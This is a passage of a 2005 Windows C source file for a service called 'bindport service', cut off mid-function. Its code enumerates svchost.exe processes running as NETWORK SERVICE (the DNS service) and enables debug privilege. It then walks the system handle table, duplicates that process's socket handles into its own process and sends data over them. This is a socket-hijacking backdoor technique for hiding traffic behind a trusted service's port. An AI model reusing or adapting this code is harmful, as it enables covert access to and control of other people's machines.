/*++

  Made By ZwelL
  zwell@sohu.com
  2005.4.12
--*/

#include <winsock2.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <string.h>
#include "debuglog.h"
//#include <wtsapi32.h>


#pragma comment(lib, "ws2_32")
//#pragma comment(lib, "wtsapi32")

#define NT_SUCCESS(status)          ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

#define SERVICENAME "bindport service"
#define  SVCHOSTMAX  6

typedef LONG    NTSTATUS;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG            ProcessId;
    UCHAR            ObjectTypeNumber;
    UCHAR            Flags;
    USHORT            Handle;
    PVOID            Object;
    ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;


typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;


VOID WINAPI MyServiceCtrlHandler (DWORD Opcode) ;

int SendMydata(SOCKET    sock);

SERVICE_STATUS          MyServiceStatus;
SERVICE_STATUS_HANDLE   MyServiceStatusHandle;
char		Logbuffer[512];

BOOL LocateNtdllEntry ( void )
{
    BOOL    ret         = FALSE;
    char    NTDLL_DLL[] = "ntdll.dll";
    HMODULE ntdll_dll   = NULL;


    if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
    {
        printf( "GetModuleHandle() failed");
        return( FALSE );
    }
    if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
    {
        goto LocateNtdllEntry_exit;
    }
    ret = TRUE;

LocateNtdllEntry_exit:

    if ( FALSE == ret )
    {
        printf( "GetProcAddress() failed");
    }
    ntdll_dll = NULL;
    return( ret );
}


/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(DWORD pid, char *szUserName)
{
    // sanity checks and default value
    HANDLE   hp=NULL;   
    HANDLE   hToken;   
    int   isok; 
    char   buf[0x400]; 
    DWORD   dwNumBytesRet;
	
    SID_NAME_USE   snu;
    TCHAR          szUser[_MAX_PATH];
    DWORD          chUser = _MAX_PATH;
    PDWORD         pcchUser = &chUser; 
    TCHAR          szDomain[_MAX_PATH];
    DWORD          chDomain = _MAX_PATH;
    PDWORD         pcchDomain = &chDomain;
  
    strcpy(szUserName, "?");
	hp=OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,   0,   pid);//0x400   is   PROCESS_QUERY_INFORMATION   
	if (hp==NULL)
	{
		sprintf(Logbuffer,"[i]OpenProcess  error  error: %d\n",GetLastError());
		logprintf(Logbuffer);
		return false;
	}
	isok=OpenProcessToken(hp,   TOKEN_QUERY,   &hToken);
	if(isok)   
 	 { 	/*
 	 	sprintf(Logbuffer,"succeed  OpenProcessToken   pid :%d\n",pid);
		logprintf(Logbuffer);
		*/
  		isok=GetTokenInformation(hToken,   TokenUser,   &buf,  sizeof(buf),   &dwNumBytesRet);   
  		if(isok)   
  		{     
  			if (LookupAccountSid(
				NULL,   
				(DWORD   *)(*(DWORD   *)buf),
				szUser, 
        		pcchUser, 
       			 szDomain, 
       			 pcchDomain, 
       			 &snu)   
			)
			{
				wsprintf(szUserName, "%s", szUser);
			}
  			CloseHandle(hToken);   
  		}   
  	}   
	else
	{
		sprintf(Logbuffer,"[^]OpenProcessToken  error  :%d\n",GetLastError());
		logprintf(Logbuffer);
	}
	/*
	sprintf(Logbuffer,"GetUserNameFromSid  returned  szUserName:%s\n ",szUserName);
	logprintf(Logbuffer);
	*/
	CloseHandle(hp);  
    return true;
}  


/*++

This routine is used to get the DNS process's Id
  
Here, I use WTSEnumerateProcesses to get process user Sid, 
and then get the process user name. Beacause as it's a "NETWORK SERVICE", 
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.

--*/
DWORD GetDNSProcessId(int  *pid,  int maxcount)
{
    //PWTS_PROCESS_INFO pProcessInfo = NULL;
    DWORD             ProcessCount = 0;
    char              szUserName[255];
    DWORD              Id = -1;
	int   index=0;

	PROCESSENTRY32 processEntry = { 0 };
    MODULEENTRY32 me32 = { 0 }; 
	
	HANDLE hProcessSnap = 
		CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProcessSnap == INVALID_HANDLE_VALUE) return  Id;
	
	processEntry.dwSize = sizeof(PROCESSENTRY32); 
    me32.dwSize = sizeof(MODULEENTRY32); 
	BOOL bRet=Process32First(hProcessSnap, &processEntry);
	while(bRet)
	{
	
	 if (stricmp(processEntry.szExeFile,"svchost.exe")==0)
	 {
	 	sprintf(Logbuffer,"ProcessID: %d (%s)\n", 
	          processEntry.th32ProcessID,processEntry.szExeFile);
		logprintf(Logbuffer);
		
	 	 GetUserNameFromSid(processEntry.th32ProcessID, szUserName);
		 if( stricmp(szUserName, "NETWORK SERVICE") == 0)
               {
               	if (index<maxcount)
               	{
				pid[index] = processEntry.th32ProcessID;
                    	index++;
               	}
               }
              
	 }

		bRet=Process32Next(hProcessSnap, &processEntry);   
	}

	CloseHandle(hProcessSnap);
	
    	sprintf(Logbuffer,"GetDNSProcessId  return  id:  %d \n ",index);
	logprintf(Logbuffer);
    return index;
}


/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
    HANDLE hProcess = NULL, 
            hAccessToken = NULL;
    TCHAR InfoBuffer[1000], szDomainName[200];
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
    DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
    SID_NAME_USE snu;

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
    if(hProcess == NULL)
    {
        printf("OpenProcess wrong");
        CloseHandle(hProcess);
        return false;
    }

    if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
    {
        printf("OpenProcessToken wrong:%08x", GetLastError());
        return false;
    }

    GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
        1000, &dwInfoBufferSize);

    LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
        &dwAccountSize,szDomainName, &dwDomainSize, &snu);

    if(hProcess)
        CloseHandle(hProcess);
    if(hAccessToken)
        CloseHandle(hAccessToken);
    return true;
}*/


/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
    NTSTATUS                     status;
    PVOID                        buf   = NULL;
    ULONG                        size  = 1;
    ULONG                        NumOfHandle = 0;
    ULONG                        i;
    PSYSTEM_HANDLE_TABLE_ENTRY_INFO    h_info  = NULL;
    HANDLE    sock = NULL;
    DWORD    n;
	int res;

	sprintf(Logbuffer,"begin to  GetSocket  from pid :%d\n",PID);
	logprintf(Logbuffer);
    buf=malloc(0x1000);
    if(buf == NULL)
    {
        sprintf(Logbuffer,"GetSocketFromId  malloc wrong\n");
	logprintf(Logbuffer);
        return NULL;
    }
    status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
    if(STATUS_INFO_LENGTH_MISMATCH == status)
    {
        free(buf);
        buf=malloc(n);
        if(buf == NULL)
        {
            sprintf(Logbuffer,"GetSocketFromId  malloc wrong\n");
		logprintf(Logbuffer);
            return NULL;
        }
        status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
    }
    else
    {
        sprintf(Logbuffer,"ZwQuerySystemInformation wrong\n");
	logprintf(Logbuffer);
        return NULL;
    }
	if (status!=0)
	{
		sprintf(Logbuffer,"ZwQuerySystemInformation wrong\n");
		logprintf(Logbuffer);
       	 return NULL;
	}

    NumOfHandle = *(ULONG*)buf;
	/*
	sprintf(Logbuffer,"GetSocketFromId   numofhandle  %d\n",NumOfHandle);
	logprintf(Logbuffer);
	*/
    h_info = ( PSYSTEM_HANDLE_TABLE_ENTRY_INFO )((ULONG)buf+sizeof(ULONG));

    for(i = 0; i<NumOfHandle ;i++)
    {
        try
        {	/*
        	n=i%1000;
		if (n==0)
		{
			logprintf("(i = 0; i<NumOfHandle ;i++)  n=i%1000   n==0\n");
		}
		*/
            if( ( h_info[i].UniqueProcessId== PID )  && ( h_info[i].ObjectTypeIndex== 0x1c ) 
                && (h_info[i].HandleValue!=0x6c)    // I don't know why if the Handle equal to 0x6c, in my test, it stops at getsockname()
                                            // So I jump over this situation... 
                                            // May be it's different in your system, 
                ) //wind2000 is 0x1a
            {
                //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
		 if( 0 == DuplicateHandle(
                    OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID), 
                    (HANDLE)h_info[i].HandleValue, 
                    GetCurrentProcess(), 
                    &sock, 
                    STANDARD_RIGHTS_REQUIRED, 
                    true, 
                    DUPLICATE_SAME_ACCESS)
                    )
                {
                    sprintf(Logbuffer,"DuplicateHandle wrong:%d", GetLastError());
			logprintf(Logbuffer);
                    continue;
                }

		 sprintf(Logbuffer,"begin to  getsockname,handlevalue:0x%x.\n", h_info[i].HandleValue);
		 logprintf(Logbuffer);
                //printf("DuplicateHandle ok\n");
                sockaddr_in name = {0};
                name.sin_family = AF_INET;
                int namelen = sizeof(sockaddr_in);
                res=getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
                if (res)
                {	/*
                	sprintf(Logbuffer,"getsockname  error  %d\n", WSAGetLastError());
			logprintf(Logbuffer);
			*/
                }
		  else
		  {
		  	logprintf("getsockname   succeed.\n");
		  }
                if(ntohs(name.sin_port)>0)    // if port > 0, then we  test  to  send  data.
                {
                    //break;
                    res=SendMydata((SOCKET)sock);
			if (res>0)break;			//sendmydata  succeed,  we  can use  this  sock!!
                }
		
            }
        }
        catch(...)
        {
            continue;
        }
	 sock=NULL;
    }

    if ( buf != NULL )
    {
        free( buf );
    }
    return (SOCKET)sock;
}


/*++
This is not required...
--*/
BOOL EnablePrivilege (BOOL   bEnable)
{
      BOOL             bResult   =  false;   
  	HANDLE             hToken;   
  	TOKEN_PRIVILEGES     TokenPrivileges;   
    
 	 if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))   
 	 {   
  		printf("EnablePrivilege--OpenProcessToken   Error:   %d\n",GetLastError());   
  		return bResult;  
  	}   
  	TokenPrivileges.PrivilegeCount =   1;   
  	TokenPrivileges.Privileges[0].Attributes   =   bEnable   ?   SE_PRIVILEGE_ENABLED   :   0;   
  	LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&TokenPrivileges.Privileges[0].Luid);   
  	if (AdjustTokenPrivileges(hToken,FALSE,&TokenPrivileges,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
  	{	/*
  		if (GetLastError()==ERROR_SUCCESS)
  		{
  			bResult=true;